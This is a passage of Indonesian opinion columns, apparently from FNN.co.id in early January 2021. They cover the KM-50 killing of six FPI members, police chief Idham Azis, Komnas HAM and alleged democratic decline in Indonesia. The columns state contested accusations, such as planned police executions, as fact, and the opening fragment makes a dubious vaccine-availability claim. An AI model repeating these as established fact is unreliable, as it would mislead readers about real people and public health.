anaknya. Dan, bahwasannya anak-anak dan keluarga yang tidak divaksin maupun yang divaksin itu juga memiliki hak dan kewajiban yang sama di mata hukum, oleh karena itu rakyat menolak diskriminasi dan intimidasi atas keputusannya tersebut. Terakhir, yang perlu dicatat, hingga kini WHO juga belum menyatakan ketersediaan Vaksin Covid-19 hingga 2021. Penulis wartawan senior FNN.co.id

Gedung DPR Seperti Kuburan Baru Politisi

by Furqan Jurdi Jakarta FNN – Ahad (03/01). Akhir-akhir ini kita sudah terbiasa mendengar kematian, pembubaran organisasi, kekerasan, kriminalisasi, perpecahan dan pembelahan dalam masyarakat. Ironisnya, ketegangan dan kengerian itu sunyi dibicarakan di gedung Lembaga legislatif. Gedung yang menjadi penyambung lidah rakyat itu seperti kuburan baru bagi politisi. Inilah yang disebut sebagai erosi demokrasi. Dimana setelah demokrasi dibangun di atas pengorbanan, darah, air mata, senjata dan kekerasan, kini berakhir pula dengan hal yang sama. Saat ini merupakan periodesasi "matinya demokrasi". Demokrasi yang menjanjikan kebebasan, kesetaraan dan hak asasi manusia, sepertinya hanya menjadi diskursus saat pemilu. Selesai itu demokrasi hanya milik kekuasaan. Ditengah rintihan kematian itu, krisis yang melanda bangsa. Kelaparan yang mengancam setiap orang. Namun gedung parlemen itu masih tetap sunyi seperti kuburan. Ketika orang mengadukan kesewenang-wenangan, hukum justru berbalik menyerang mereka. Seakan-akan hukum hanya tunduk pada pemilik senjata dan kekuasaan. Sepanjang periode tahun lalu, ketidakadilan dipertontonkan secara vulgar. Kualitas Wakil Rakyat Politisi parlemen seyogyanya dipilih oleh rakyat untuk “menggonggongi” kekuasaan. Mereka dipilih sebagai juru bicara rakyat. Mereka harus mengkritis kebijakan-kebijakan kekuasaan yang tidak berpihak kepada rakyat. Posisi wakil rakyat itu menjadi sangat penting dan strategis dalam sistem demokrasi presidensialisme seperti Indonesia. Sebab politisi parlemen memiliki hak imunitas yang bisa memproteksi segala niat buruk kekuasaan terhadap tiap-tiap anggota Parlemen. Tetapi akhir-akhir ini, politisi bersenggama dengan kekuasaan melalui proyek-proyek yang dilakukan lewat Parlemen. Beralihnya profesi anggota dewan menjadi "pemain proyek" membuat garapan Lembaga Anti Korupsi di gedung parlemen semakin banyak. Durhakanya lagi, Wakil Rakyat telah memutuskan hubungan historisnya dengan rakyat setelah mendapatkan legitimasi politik dari rakyat. Justru politisi berdiri menggonggongi rakyat. Alasannya karena merasa diri sebagai representasi suara rakyat. Mereka telah ramai-ramai memproteksi dirinya dengan hak imunitas untuk menangkal kritik konstituen terhadap dirinya. Yang seharusnya imunitas itu untuk melindungi diri dari kekuasaan dalam aktivitasnya membela rakyat. Politisi yang dulunya mengemis kepada rakyat itu, kini tiba-tiba berubah menjadi ‘tuan’ yang tak bisa dipersalahkan atau dipersoalkan. Bahkan mereka lebih otoriter dalam berpikir ketimbang kekuasaan. Inilah arogansi politik yang dihasilkan dari sistem demokrasi. Kenapa bisa muncul politisi arogan seperti itu? Sebab, persekongkolan antara pemilik modal dan politisi tidak lagi menghasilkan politisi yang benar-benar berkualitas. Melainkan hanya melahirkan politisi yang tidak memiliki kualitas apapun. Inilah kemerosotan demokrasi yang sesungguhnya. Arogansi ini adalah mental otoriter. Dalam mental otoriter seperti itu, korupsi menjadi kebiasaan buruk keseharian elit politik, khususnya anggota dewan. Seperti orang-orang penting yang menjabat antara tahun 2014-2019 telah terjerat kasus korupsi sejumlah 23 orang. Sebagian adalah ketua Umum Partai seperti Setya Novanto dan Romahurmuzy. Keduanya merupakan ‘orang penting’ yang menjadi pesakitan karena korupsi. Karena kelakuan mereka, institusi DPR yang tadinya memiliki posisi yang kuat, akhirnya menjadi lemah. Sebab banyak politisi yang menjadi pengemis di kekuasaan setelah berhasil mendapatkan legitimasi rakyat. Mental Parlemen seperti ini yang akhirnya memperkuat posisi Presiden, dan dengan demikian Lahirlah Tirani Kekuasaan. Lemahnya Chek And Balances Setelah institusi yang melakukan pengawasan dan penyeimbang sudah berubah menjadi "jongos kekuasaan", maka eksekutif bertindak di luar kendali. Hukum dijadikan alat. Sementara bedil dan pentungan mengamankan tirani. Apalagi dalam sistem Presidensialisme, Eksekutif memiliki kekuasaan yang kuat dan besar. Dengan kekuasaan yang besar dan menggiurkan bagi siapa saja yang menjadi Kepala Eksekutif untuk melakukan tindakan yang melampaui hukum. Bukankah Polisi, Tentara, Jaksa dan lembaga-lembaga kementrian di bawah komando presiden? Kalau anggota Parlemen hanya sebatas "orang-orang kebetulan", maka tentu mereka tidak akan mengerti bahaya lahirnya pemerintahan yang otoriter. Lembaga Kehakiman yang diharapkan Independen pasti secara psikologis tidak akan berani berada di luar cengkraman rezim otoriter. Sebab hakim-hakim di Mahkamah dipilih oleh Eksekutif dan Parlemen. Jadi secara politik hubungan mereka sangat dekat. Hanya saja Konstitusi dan Perundang-undangan menyebut kekuasaan Kehakiman mandiri dan bebas dari pengaruh kekuasaan manapun. Tetapi dalam transaksi kepentingan itu tidak berlaku. Lalu siapa yang akan mengawasi jalannya pemerintahan? Rakyat sendiri? Rakyat bisa saja menjadi oposan untuk mengkritik kebijakan pemerintah. Namun ketika demokrasi sudah mulai meredup, kritik pun pasti akan dilarang oleh penguasa. Berulang-ulang dosen, mahasiswa, aktivis maupun masyarakat menyebutkan "kebebasan untuk berkumpul, berserikat, menyampaikan pendapat secara lisan maupun tertulis di jamin konstitusi". Capek mulut dan pecah telinga mendengarkannya. Itu hanya diskursus akademis. Berbeda dalam konteks politik kekuasaan, yang justru menjadi pembatas bagi siapa saja yang berbeda dengan kekuasaan. Karena itu dalam keadaan yang demikian, kita hanya dapat meraba-raba. Kematian apalagi yang akan terjadi selanjutnya? Kebiadaban apalagi yang akan dipertontonkan dihari-hari yang akan datang? Bagaimana Dengan Indonesia? Apa yang saya jelaskan diatas agak mirip dengan kasus yang terjadi di Indonesia. Sebuah negara Demokrasi terbesar yang sedang merosot menuju negara otoriter. Sebuah pemerintahan yang berdiri di atas kuburan 989 lebih petugas KPPS. Pemilu itu disebut oleh beberapa pihak sebagai pemilu brutal yang menewaskan banyak anak bangsa. Apabila membuat produk hukum, pasti bermasalah. Maka, dibalik produk hukum yang bermasalah itu, seperti UU KPK telah menewaskan 2 orang mahasiswa akibat melakukan protes terhadap perubahan UU tersebut. Kekerasan negara terhadap demonstran sepanjang tahun 2020 merupakan potret negara yang sedang memacu dirinya menjadi negara otoriter. Kritik dibungkam, protes ditindak dan semuanya itu berbau kekerasan negara terhadap warga sipil. Lahirnya UU Omnibus Law Cipta Kerja, menimbulkan reaksi besar dari semua kalangan. Namun pada akhirnya, meski Muhammadiyah dan organisasi masyarakat lainnya Menolak UU itu, tetapi tokh tetap saja disahkan dengan seribu satu macam dagelan dan kesalahan. Begitulah kalau DPR menjadi kuburan masal orang-orang hebat. Belum lagi masalah covid-19 yang telah merenggut nyawa 22 ribu nyawa masyarakat Indonesia. Meski ancaman Covid sangat dahsyat, namun tidak pernah mampu menghalau pilkada serentak 2020. Semua untuk memuluskan Jalan ya kekuasaan oligark yang telah bertengger menjadi mafia politik dan ekonomi. Sunyi suara Anggota DPR atas masalah-masalah yang terjadi. Tidak ada suara nyaring wakil rakyat terhadap kematian 6 orang yang diduga dibunuh secara sadis. Begitu tidak berharganya nyawa manusia dalam sebuah negara otoriter. Sunyi pula suara Anggota DPR ketika utang negara sudah mencapai Rp. 6.000 triliun. Sunyi pula anggota dewan terhadap penggunaan dana Covid-19 yang hampir mencapai Rp. 900 triliun. Bahkan sampai dikorupsi oleh Menteri Sosial. Mungkinkah ini karena anggota DPR juga kebagian? Kita tunggu saja. Kita sudah terbiasa dengan budaya membubarkan organisasi. Sudah dua organisasi yang dibubarkan hanya dengan pernyataan Menteri. Menteri sudah bisa melampaui hukum dan perundang-undangan. Sungguh berkuasa para menteri. Sehingga hanya dengan pernyataan bersama, nasib perkumpulan anak bangsa bisa dieksekusi dan dilarang. Lengkap sudah masalah yang kita hadapi. Tetapi inilah demokrasi. Setelah terpilih, demokrasi hanya milik kekuasaan dan rakyat tinggal menunggu nasib baik dan nasib buruk. Seperti kata Emha Ainun Nadjib, "di negara Komunis tidak boleh bicara,te tapi dikasih makan”. Sementara di negara kapitalis “bicara bebas, tetapi cari makan sendiri. Kalau di Indonesia, “bicara tidak boleh, cari makan masing~masing". Lengkap sudahlah menjadi warga negara Indonesia. Entah rezimnya siapa, Indonesia selalu menghadapi masalah yang serupa. Semoga kita semua masih kuat untuk menghadapi hantaman tahun 2021 ke depan. Wallahualam Bis shawab. Penulis adalah Ketua Lembaga Dakwah DPP IMM & Ketua Pemuda Madani.

Pak Idham Azis Sebaiknya Jangan "Su'ul Khotimah"

by M Rizal Fadillah Bandung FNN – Ahad (03/01). Hanya dalam hitungan hari, Jenderal Polisi Idham Aziz akan memasuki masa pensiun. Tapatnya akhir Januari 2021 nanti Idham Azis akan meninggalkan semua kebesarannya sebagai Kepala Kepolisian Negara Rapublik Indonesia (Kapolri). Artinya itu sebentar lagi. Publik bisa menamaknnya tinggal menghitung hari. Sejak 1 Januati tahun 2021, jabatan Idham Azis sebagai kapolri sudah memasuki hitungan mundur terakhir (the final countdown). Biasanya orang selalu berdoa atau mendo’akan semoga berakhir dengan harapan "husnul khotimah". Artinya berakhir dengan yang baik-baik saja. Sebagaimana ketika mengawalinya juga dengan yang baik-baik. Teringat, sewaktu awal Pak Idam Azis menjabat sebagai Kapolri. Betapa besar harapan publik negeri ini tentang bakal datangnya perubahan kinerja Kepolisian di bawah kepemimpinan Pak Idham Azis. Sampai-sampai Dr. Margarito Kamis menulis opini di FNN.co.id. dengan judul “Bismillaahirrahim, Pak Idham di Puncak Polri” (FNN.co.id 03/11/2019). Margarito Kamis yang Ahli Hukum Tata Negara itu memulai tulisannya dengan mengutip Al-qur’an Surat Yasin Ayat ke-65 yang dijadikan Puisi oleh Pak Taufik Ismail. Ayat Qur’an ini kemudian menjadi inspirasi bagi alharhum Crisye untuk dijadikan sebagai syair lagunya. “Pada hari ini kami menutup mulut mereka. Tangan mereka akan berkata kepada Kami (Allaah), dan kaki mereka akan memberi kesaksian terhadap apa yang dahulu mereka kerjakan. Akan datang waktu mulut terkunci, kaki bicara, dan tangan bicara. Tidak ada kata-kata. Margarito Kamis menaruh harapan besar ketika menjalani Fit and Profer Test di Komisi III DPR, Pak Idham memulai dengan mengutip Al-Qur’an Surat Al-An’am Ayat 162. “Sesungguhnya sholatku, ibadahku, hidupku dan matiku hanyalah untuk Allah”. Pada bagian awal menjalani Fit and Profer Test, Pak Idham juga mengucapkan “hasbunallaah wa ni’mal wakil, ni’mal maula wa ni’man nasir. Artinya, cukuplah Allaah menjadi penolong kami, dan Allaah adalah sebaik-baik penolong kami. Terlihat kalau Pak Idham hanya menghapkan pertolongan dari Allaah semata. Bukan pertolongan dari selain Allaah. Margarito menjelaskan bahwa kalimat-kali awal dari Pak Idham ketika menjalan Fit and Profer Test adalah pernyataan yang sangat berekelas dari seoran calon Kapolri. Jarang terdengar dari mulut calon pemimpin di era modern, yang sangat metrealis sekarang. “Kalimat-kalimat Pak Idham ini, sejauh fakta empiris yang bisa berbicara, harus dinilai dengan hal yang tidak biasa. Beda, dan memang sangat berbeda. Keyakinan religius ditampilkan sebegitu jelasn sebagai panduan, dan tuntunan pemandu dirinya memasuki puncak piminan Polri. Alhamdulillaah”, tulis Margarito Kamis. Tidak sampai di situ saja. Ustad Das'ad Latif seusai Rapim Polri 29 Januari 2020 berpesan kepada Kapolri baru bahwa dalam menangani unjuk rasa "jangan memukul kepala" karena siapa tahu di kepalanya ada hafalan Qur'an dan Hadits. Sementara Kapolri Idham pun titip pesan agar isi ceramah yang mengarahkan polisi dalam menangani aksi dilakukan dengan pendekatan yang humanis. Tidak menggunakan senjata api. Perkapolri No 7 tahun 2012 melarang tindakan aparat yang bersifat spontanitas dan emosional, mengejar secara perorangan, melakukan kekerasan dan penganiayaan, pelecehan dan melanggar HAM. Harapan perubahan di masa jabatannya Idham Azis itu nampak sirna. Dalam menangani unjuk rasa Omnibus Law contohnya, kekerasan terjadi terutama oleh satuan Brimob. Penangkapan aktivis oleh Polri terjadi dimana-mana. Lalu dalam menangani HRS dan FPI telah jatuh korban penembakan dengan tanda penganiayaan 6 anggota Laskar, yang dikenal dengan peristiwa atau tragedi pembunuhan di Kilomer 50. Diakui bahwa pelaku penembakan adalah aparat Kepolisian yang nampaknya masih dilindungi hingga kini. Polisi belum juga diumumkan siapa-siapa pelaku pembunuhan tersebut? Padahal dugaannya adalah pelanggaran HAM berat. Pada saat wacana panas soal calon pengganti Kapolri, justru Kepolisian mengalami gonjang-ganjing tindakan yang tidak humanis. Bukan lagi sekedar "tidak memukul kepala". Tetapi menembak dengan brutal dan sadis. Melibatkan anggota Polda Metro jaya. Hingga kini Bareskrim Mabes Polri dan Komnas HAM masih menyelidiki. Pasca pembubaran dan pelarangan FPI, Kapolri membuat maklumat yang dinilai berlebihan hingga mendapatkan protes dari masyarakat Pers. Dikomandoi oleh Ketua Dewan Pers Muhammad Nuh, masyarakat Pers ramai-ramai menyampaikan protes kepada Kapolri. Aliasi Jurnalis Independen (AJI), Persatuan Wartawan Indonesia (PWI), Forum Pemred, Asosiasi Media Ciber Indonesia (AMSI) dan Ikatan Jurnalis Televisi Indonesia (IJTI) menyatakan protes. Bni baru pertama kali masyarakat Pers kompak ramai-ramai menyatakan protes kepada Kapolri secara terbuka. Tentu saja ini sebuah catatan tentang kebebasan pers di akhir masa jabatan Kapolri yang kurang baik. Maklumat Kapolri itu dikritisi sebagai melanggar HAM dan perundang-undangan. Masyarakat Pers menganggap Maklumat tersebut membatasi kebebasan pers yang dijamin oleh Undang-Undang No.40 Tahun 1999 Tentang Pers, dan MOU Dewan dengan Kapolri. Belakangan Kadiv Humas Polri Irjan Argo Yuwono mengklarifikasi penafsiran Malumat Kapolri, khususnya poin 2D. Argo Yuwono mrengatakan, “Maklumat Kapolri poin 2D tersebut tidak dimaksudkan untuk membatasi kebebasan berekspresi. Dikaluarkan Maklumat itu, artinya tidak untuk membredel berita pers”. FPI nampaknya oleh Kepolisian dijadikan sebagai target dengan langkah dan kebijakan hukum yang tidak adil. Terkesan seperti aktivis muslim diperlakukan sebagai "musuh negara". Sampai disini, Jenderal Polisi Idham Azis sedang diuji konsistensi akan tekad dan semangat untuk membangun kinerja Kepolisian yang lebih baik dan humanis itu. Husnul khotimah atau su'ul khotimah kah Pak Idham Azis di akhir masa jabatan yang tinggal menghitung hari itu? Masyarakat terus pemantau dalam hitungan mundur. We're leavin together. But still It's farewell ---it's the final countdown...(Europe) Penulis adalah Pemerhati Politik dan Kebangsaan.

Pembunuhan KM-50: Masih Adakah Harapan Pada Komnas HAM?

By Asyari Usman Medan, FNN - Minggu (03/01). Beberapa hari lagi genap sebulan pembunuhan 6 anggota FPI dalam insiden KM-50 jalan tol Jakarta-Cikampek. Pembunuhan ini sedang diselidiki oleh Komisi Nasional Hak Asasi Manusia (Komnash HAM). Kepolisian mengatakan aparat mereka menembak mati keenam warga negara Indonesia itu. Ada pertanyaan kunci: beranikah Komnas mengungkap pembunuhan ini secara transparan? Beranikan mereka membuat kesimpulan bahwa pembunuhan itu adalah pelanggaran HAM berat? Pada mulanya, Komnas HAM terkesan tidak takut membongkar pembunuhan ini apa adanya. Publik pun bersemangat. Keadilan akan tegak. Dan memang meyakinkan sekali manuver-manuver mereka. Komisioner Chairul Anam menjadi salah satu bintang Komnas. Dia menunjukkan isyarat bahwa Komnas akan mengurai tuntas pembunuhan KM-50. Komnas mengatakan mereka sudah mengumpulkan banyak bukti. Termasuk sejumlah proyektil dan selongsong peluru. Plus, banyak rekaman CCTV dari Jasa Marga. Rekaman itu tentunya terkait dengan kronologi pembunuhan. Komnas juga mengatakan sudah mewawancari banyak orang. Ada puluhan polisi dan warga sipil yang diperiksa Komisi. Initinya, Komnas HAM mempresentasikan di depan publik bahwa mereka akan mengungkap semuanya. Tidak akan ada yang ditutup-tutupi. Mungkinkah itu terjadi? Inilah yang perlu kita cermati. Suara-suara di masyarakat yang tadinya optimistis, sekarang mulai pesimistis. Pesimistis Komnas akan bertindak adil. Begitulah yang banyak disampaikan lewat media sosial. Publik tidak lagi berharap terlalu banyak pada Komnas untuk menuntaskan penyelidikan secara transparan kasus pembunuhan 6 anggota FPI. Apakah ada gelagat atau pertanda Komnas “tak sanggup” menuntaskan penyelidikan KM-50? Bisa saja itu terjadi. Gelagat pertama, ada semacam hambatan psikologis yang dialami oleh para komisioner Komnas. Hambatan psikologis itu kelihatannya bersumber dari ‘inferiority complex’ (perasaan lebih rendah) yang terkait dengan kekuasaan dan kekuatan institusional. Misalnya, Komnas HAM tidak punya struktur teritorial. Juga tidak punya kekuasaan besar meskipun setingkat dengan posisi kementerian atau lembaga setingkat kementerian. Sehingga terkesan tidak seram, tidak menakutkan. Berbeda dengan Kepolisian yang memiliki kekuasaan sangat besar. Berbagai macam hal bisa mereka lakukan. Sehingga, banyak orang yang takut berurusan dengan polisi. Seragam dinas, struktur dan atribut-atribut kepangkatan di kepolisian bisa membuat orang merasa lebih rendah dari polisi. Jangan-jangan para komisioner Komnas HAM pun merasa begitu. Hambatan psikologis berupa ‘inferiority complex’ di kalangan para komisioner Komnas itu hampir pasti akan memancarkan rasa takut. Termasuk takut kalau hasil penyelidikan mereka akan memojokkan Kepolisian. Gelagat kedua adalah tindakan Komnas membuat klarifikasi tentang “rumah penyiksaan”. Sempat viral berita bahwa Komnas menemukan “locus delicti” (TKP) berupa tempat penyiksaan para anggota FPI sebelum mereka ditembak mati. Komnas kemudian membantah. Mereka mengatakan pihaknya tidak pernah menemukan atau pun menyebut “rumah penyiksaan”. Bantahan dari Komnas itu mengindikasikan bahwa mereka sensitif sekali dengan isu ini. Seolah-olah ada yang menghendaki agar “rumah penyiksaan” itu tidak masuk dalam daftar bukti. Sebetulnya, Komnas tidak perlu membantah. Cukup mereka persilakan publik menunjukkan dan menyelidiki “locus delicti” yang dimaksud. Jika masyarakat tidak bisa menghadirkan bukti itu, maka kabar tentang “rumah penyiksaan” akan terbantah dengan sendirinya. Gelagat ketiga adalah posisi Komnas HAM yang enggan berkeras untuk membentuk tim pencari fakta independen (TPFI). Sangat aneh sikap yang ditunjukkan oleh Komnas. Sebagai lembaga yang mandiri dan dilindungi oleh UU, para komisioner Komnas tidak perlu takut. Dari sisi politik dan konstitusional, Komnas HAM memiliki basis dukungan dan landasan yang kuat. Sangat mungkin gelagat-gelagat berikut akan muncul satu per satu di babak-babak selanjutnya. Karena itu, masih adakah harapan pada Komnas HAM untuk menyelidiki tuntas pembunuhan KM-50?[] (Penulis wartawan senior FNN.co.id)

Ketika Jenazah 6 Laskar FPI Bicara (4)

By Mochamad Toha Surabaya, FNN - Sabtu (02/01). Apa yang sebenarnya terjadi di Rest Area KM 50 Tol Jakarta-Cikampek? Mengapa sampai ada keterangan yang berbeda saat Kapolda Metro Jaya Irjen Polisi Fadil Imran melakukan jumpa pers, Senin (7/12/2020) dengan rekonstruksi Bareskrim Polri? Menurut Direktur Tindak Pidana Umum Bareskrim Polri Brigjen Polisi Andi Rian Djajadi, empat Laskar FPI yang diamankan di TKP ketiga, yakni Rest Area KM 50 Tol Japek dalam perjalanannya melakukan perlawanan dan hendak merebut senjata aparat kepolisian. Seperti dilansir Okezone,com, Senin (14 Desember 2020 06:04 WIB), oleh sebab itu, aparat melakukan tindakan tegas dan terukur ketika pelaku mencoba merebut senjata milik polisi di dalam mobil. Hal tersebut diungkapkan Brigjen Andi usai rekonstruksi kasus penyerangan oleh Laskar FPI kepada polisi di Tol Japek, Senin (14/12/2020). “Bahwa TKP 4 ini adalah kelanjutan TKP 3, kami lihat akhir dari kegiatan atau adegan TKP 3,” ungkapnya. “Itu 4 pelaku yang masih hidup diamankan ke mobil dengan tujuan dibawa penyidik untuk ke Polda Metro Jaya. Dalam perjalanan tidak jauh jaraknya dari KM 50 sampai 51+200 terjadi penyerangan, pelaku mencoba merebut senjata anggota,” lanjut Brigjen Andi. “Dari situlah terjadi upaya dari penyidik yang ada dalam mobil untuk melakukan tindakan pembelaan, sehingga keempat pelaku di dalam mobil semuanya mengalami tindakan tegas dan terukur dari anggota yang ada dalam mobil,” ungkap Brigjen Andi. Dalam rekonstruksi ini, di TKP 1, di depan Hotel Novotel, Jalan Karawang Internasional, ada 9 adegan. Di lokasi 2 yakni, selepas bundaran Jalan Karawang Internasional hingga Gerbang Tol Karawang Barat arah Cikampek ke Rest Area KM 50 ada 4 adegan. Sedangkan di Rest Area KM 50 yang menjadi TKP 3 penyidik melakukan rekonstruksi 31 adegan. Di TKP terakhir yakni, Tol Japek selepas Rest Area KM 50 hingga KM 51 200, penyidik memperagakan 14 adegan. Awalnya petugas yang mengamankan 4 Laskar FPI itu hendak membawa ke Polda Metro Jaya untuk dilakukan pemeriksaan lebih lanjut. Pada proses itu, polisi tidak memborgol pelaku hanya sebatas meletakkan mereka di kursi tengah dan belakang mobil. “Mereka dalam keadaan tidak diborgol mereka ditaruh di belakang kemudian satu lagi dibiarkan duduk di bagian tengah,” ujar Brigjen Andi. Ia mengukapkan, setelah dilakukan tindakan tegas dan terukur, alhasil aparat kepolisian langsung membawa anggota Laskar FPI tersebut ke Rumah Sakit (RS) Polri, Kramat Jati, Jakarta Timur. “Setelah kejadian ternyata dalam kondisi luka langsung dibawa ke RS Kramat Jati,” ujar Brigjen Andi. Jika menyimak Kapolda Fadil Imran dalam jumpa pers pertama, Senin (7/12/2020), maka dapat disimpulkan, bahwa TKP itu berada di Rest Area KM 50 Tol Japek. Ini merujuk pada definisi TKP: adalah tempat di mana suatu tindak pidana dilakukan atau terjadi dan tempat-tempat lain di mana tersangka dan/atau korban dan/atau barang-barang bukti yang berhubungan dengan tindak pidana tersebut dapat ditemukan. TKP Hilang Ada yang dirasa janggal setelah penembakan Laskar FPI, khususnya di Rest Area KM 50 Tol Jakarta-Cikampek. Polisi tidak menutup dengan police line seperti pada umumnya jika terjadi suatu peristiwa. Padahal, garis polisi ini sangat penting. Karena, di KM 50 itulah “tembak-menembak” antara polisi dengan laskar FPI, seperti versi polisi, terjadi hingga menyebabkan 2 laskar FPI tewas, termasuk 4 laskar lainnya yang sudah menyerah dan dibawa polisi meninggalkan Rest Area KM 50. Biasanya, olah TKP dimulai dari persiapan, penangananTKP, perjalanan ke TKP, Tindakan Pertama di Tempat Kejadian Perkara (TP-TKP). Olah TKP yang terdiri dari pengamatan umum, pemotretan,pembuatan sketsa, pengumpulan barang bukti, penanganan korban, saksi, dan pelaku, pengorganisasian olah TKP, dan yang terakhir penanganan TKP. Tapi, itu semua tidak dilakukan oleh pihak kepolisian pada saat itu. Tahu-tahu dalam jumpa pers telah ada barang bukti berupa pedang dan pistol yang disangkakan sebagai pemilik dari korban (laskar FPI). Sebagaimana dipahami secara umum bahwa jalan tol adalah jalan bebas hambatan, sehingga siapa pun yang melakukan penghadangan di jalan tol itu adalah sebuah bentuk pelanggaran hukum. Aparat kepolisian itu tidak seharusnya berada di jalan tol dengan beberapa unit kendaraan, apalagi merencanakan penyergapan itu pada rombongan HRS secara khusus seolah mereka adalah teroris dan bandar narkoba kelas kakap. Sekali lagi tidak mungkin tidak, direncanakan, apalagi sejak sore hari polisi sudah berada di sekitar lokasi TKP dan itu berarti bukan pihak korban yang mencari masalah melainkan polisi yang berupaya menghentikan kendaraan rombongan HRS. Jika dicermati dari beberapa keterangan saksi, hasil investigasi wartawan Eddy Mulyadi dan TEMPO serta uraian Munarman dapat diambil kesimpulan bahwa 4 orang yang dinyatakan masih hidup saat dibawa pergi tetapi tidak dibawa ke kantor Polisi untuk dilakukan introgasi, proses verbal atau pengumpulan keterangan dari mereka. Mereka dibawa polisi di suatu tempat dan diekskusi mati disitu. Dan, ini justru sama dengan upaya pembunuhan terhadap korban yang dilakukan polisi, lebih-lebih polisi telah menyalahi prosedur penangkapan korban yang disangkakan polisi. Penembakan polisi terhadap para korban adalah bentuk pembantaian mengingat banyak luka tembak pada korban dan bekas penganiayaan dilakukan polisi. Ini jelas sangat bertentangan denganUU Nomor 39 Tahun 1999 tentang Hak Asasi Manusia. Ini jelas bahwa polisi telah melakukan pembunuhan berencana yang diatur dalam pasal 340 KUHP. Ini juga menjawab bahwa di TKP KM 50 tidak ada tembak-menembak. Yang ada, setidaknya ada 19 luka tembak di 6 tubuh korban disertai penganiayaan. Polisi tidak bisa menjelaskan ke mana 4 korban yang masih hidup ketika itu dibawa setelah ada 2 orang ditembak di TKP KM 50 dan apa saja yang mereka perbuat terhadap laskar FPI pengawal HRS itu. Semua peristiwa terkait penyergapan dan penembakan di Rest Area KM 50 Tol Japek pada laskar FPI itu terekam di CCTV setempat. Apakah Komnas HAM sudah punya rekamannya atau minimal melihatnya. Siapa yang menyimpan rekaman CCTV di Rest Area KM 50 itu, hanya polisi dan PT Jasa Marga selaku pengelola Tol Japek yang tahu. Apalagi, setelah rekonstruksi pada Senin, 14 Desember 2020, mulai Minggu (20/12/2020), TKP ini “ditutup”. ”Mulai kemarin Rest Area KM 50 kami relokasi,” kata Corporate Communication & Community Development Group Head Jasa Marga, Dwimawan Heru, Selasa (22/12/2020). Penutupan Rest Area KM 50 Tol Japek ini dilakukan mulai 22 Desember 2020 secara permanen. Jasa Marga menyebut sejak dioperasikannya Jalan Tol Japek Elevated pada Desember 2019, khususnya pada masa liburan, kerap terjadi kepadatan di Jalan Tol Japek, arah Cikampek, pada ruas antara KM 48 – KM 50. “Hal ini disebabkan pada lokasi tersebut terjadi pertemuan arus lalu lintas yang baru keluar atau turun dari Jakarta-Cikampek Elevated, bertemu dengan arus lalu-lintas yang melintas di Jakarta-Cikampek bawah di wilayah Karawang Barat,” kata Dwimawan Heru. Kepadatan pada lokasi tersebut, ditambah dengan adanya kendaraan yang keluar-masuk Rest Area yang terletak di KM 50 A. Aktivitas tersebut menimbulkan antrean yang mengganggu arus lalu-lintas di jalur utama Jalan Tol Japek. Mencermati hal tersebut, Korlantas Polri melalui suratnya pada 6 Februari 2020 meyarankan penutupan Rest Area KM 50 A dan melakukan pelebaran jalur jalan tol mulai KM 48 – KM 50. “Hal ini diperkuat lagi dengan instruksi Badan Pengatur Jalan Tol melalui suratnya pada 20 Maret 2020, terkait hal yang sama,” kata Dwimawan Heru. Mengapa penutupan dilakukan dua pekan setelah peristiwa penembakan pada 6 laskar FPI? Mengubah TKP, menurut aturan hukum, itu sama halnya dengan “menghilangkan” TKP dan masuk kategori melanggar hukum, karena termasuk sebuah kejahatan! (Bersambung) Penulis wartawan senior FNN.co.id ***

Kemewahan Terakhir Rakyat

by Tamsil Linrung Jakarta FNN – Jum’at (01/01). Demokrasi, dengan berbagai instrumen yang melekat di dalamnya adalah kemewahan tunggal. Juga kemewahan terakhir yang dimiliki oleh seluruh lapisan rakyat Indonesia. Demokrasi tak melihat stratifikasi dan kelas ekonomi. Pandangan politik, juga tak bisa jadi argumentasi untuk menegasi hak-hak berdemokrasi. Bahkan, dalam pergumulan dan dinamika politik itulah, demokrasi dituntut merefleksikan nilai dan esensi. Demokrasi adalah satu-satunya mahkota yang secara sah diwariskan, dan bebas digunakan oleh setiap anak bangsa yang telah merdeka ini. Terdistribusi merata. Tidak timpang, seperti terjadi di sektor ekonomi akibat kegagalan kebijakan. Semua punya hak yang sama atas demokrasi. Tak ada yang bisa mengklaim sebagai pemilik tunggal. Apalagi merasa paling otoritatif mengangkangi demokrasi. Bahkan kekuasaan itu sendiri, harus taat dan tunduk pada rambu-rambu demokrasi. Bila ada unsur di dalam suatu negara hukum yang merasa paling punya kewenangan menafsir dan menghegemoni demokrasi, maka pada saat itu demokrasi kita sesungguhnya sudah roboh. Demokrasi tidak memberikan pedang kepada pranata kekuasaan untuk mengamputasi kelompok, atau organisasi yang secara sepihak ditafsir “berbahaya”. Ada proses pengadilan yang harus ditempuh. Ada rambu-rambu hukum yang jelas mengatur. Penggunaan kekuasaan dengan serampangan, justru amat berbahaya bagi bangsa ini ke depan. Siapapun, jadi punya argumentasi untuk membubarkan kelompok-kelompok yang secara subyektif divonis berbahaya. Kita akan disibukkan saling melabeli. Ini tidak sehat. Semestinya, nafas demokrasi bergemuruh dengan dialog. Demokrasi Pancasila, mengajak kita duduk bersama. Menuntun bermufakat dalam hal-hal yang kita sepakati. Bertoleransi dalam silang pendapat. Bukan malah menggebuk mereka yang tidak sepakat. Lagipula, sikap over protective justru mencerminkan rasa rendah diri. Negara jangan dijebak seolah mengidap inferiority complex. Gamang atas keyakinan sendiri. Tidak percaya, bahwa ideologi yang dianut jauh lebih baik dibanding ideologi yang dilabeli “berbahaya”. Kalau sudah seperti ini, lantas siapa sebetulnya yang secara praktik memosisikan negara, bangsa, dan ideologinya lemah? Terus terang, kita merasa cemas. Kebatinan kita sebagai anak bangsa terganggu. Ketika anasir-anasir yang mendegradasi demokrasi terus difestivalisasi. Diglorifikasi sebagai kemenangan atas sebuah perang akbar. Lalu disambut dengan sorak sorai semu dari para buzzer politik. Tanpa punya pijakan aspirasi yang lahir dari kesadaran. Partai politik koalisi tambun, seharusnya lebih dari cukup sebagai modal membangun rasa percaya diri. Modal politik itu, mestinya mampu menopang konfidensi. Tak resah. Apalagi sampai terus meniupkan propaganda bahwa bangsa terancam karena dengung vokal kelompok-kelompok masyarakat sipil dalam beraspirasi. Ancaman laten yang sesungguhya mendera bangsa ini adalah kemiskinan, ketimpangan ekonomi antar kelas yang parah, dan krisis multi dimensi akibat kegagalan menangani pandemi Covid-19. Mempersempit ruang kebebasan sipil, apalagi ada wacana mengaktivasi patroli siber. Justru kian jauh menyeret bangsa ini ke periode gelap otoritarianisme yang telah kita kubur di masa lalu. Jalan mundur kehidupan demokrasi bangsa Indonesia bukan sebatas isu. Tapi telah jadi 